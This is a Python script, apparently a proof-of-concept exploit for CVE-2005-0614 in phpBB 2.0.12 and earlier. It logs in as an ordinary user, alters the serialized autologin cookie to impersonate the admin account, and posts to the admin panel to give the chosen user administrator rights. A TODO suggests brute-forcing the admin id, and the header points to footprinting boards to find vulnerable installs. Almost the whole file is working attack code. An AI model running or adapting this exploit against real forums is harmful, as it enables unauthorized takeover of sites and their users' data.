text: import mechanize
  import cookielib
  import urllib
  
  #####################################################################
  #
  # autologin cookie exploit:
  #
  # Attempts to grant admin access to specified user on phpBB 2.0.12 or earlier.
  # There are plenty of footprinting techniques that reveal the full directory structure of a phpbb deploy.
  # Use these to determine whether running a vulnerable phpBB install. 
  #
  #####################################################################
  # References:
  # 1: https://www.exploit-db.com/exploits/889/
  # 2: http://marc.info/?l=bugtraq&m=110999268130739&w=2
  # 3: https://www.cvedetails.com/cve/CVE-2005-0614/
  
  
  
  
  #####################################################################
  #
  # Config
  #
  #####################################################################
  # User to give admin to
  username = 'test7'
  password = '1234'
  
  # You can find you user_id from the autologin cookie below. The underscore will be the id you seek
  user_id = '8'
  
  # Target ID for admin user - by default 2
  ## TODO WRAP 'EXPLOIT' IN LOOP TO BRUTE FORCE THIS - most phpbb boards have no more than 200k users
  admin_id = '5'
  
  # Target URL of the board
  host = 'http://127.0.0.1'
  path = '/phpbb2/'
  
  # Autologin cookie to exploit
  cookie = 'a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A32%3A%2281dc9bdb52d04dc20036dbd8313ed055%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22_%22%3B%7D'
  
  
  
  
  #####################################################################
  #
  # Exploit
  #
  #####################################################################
  #1 Setup 
  cookie = cookie.replace('_', admin_id)
  
  #2 Head to target website
  br = mechanize.Browser()
  cj = cookielib.LWPCookieJar()
  br.set_cookiejar(cj)
  br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1')]
  br.open(host + path)
  
  #3 Login
  req = br.click_link(text='Log in[IMG]Log in')
  br.open(req)
  br.select_form(nr=0)
  br.form['username'] = username
  br.form['password'] = password
  br.form.find_control('autologin').items[0].selected = True
  br.submit()
  
  #4 Edit the Cookie
  for c in cj:
      c.value = cookie
  
  #5 Re-open the home page and check if we have admin
  res = br.open(host + path)
  
  #6 Get the current cookies for the SID
  cookie_vals = []
  for c in cj:
      cookie_vals.append(c.value)
  
  #7 POST request granting user admin
  params = {
      'userlevel' : 'admin',
      'mode' : 'user',
      'adv' : '',
      'u' : user_id,
      'submit' : 'Submit'
  }
  data = urllib.urlencode(params)
  res = br.open(host + path + 'admin/' + 'admin_ug_auth.php?sid=' + cookie_vals[1], data)
  
  #8 Cleanup
  br.close()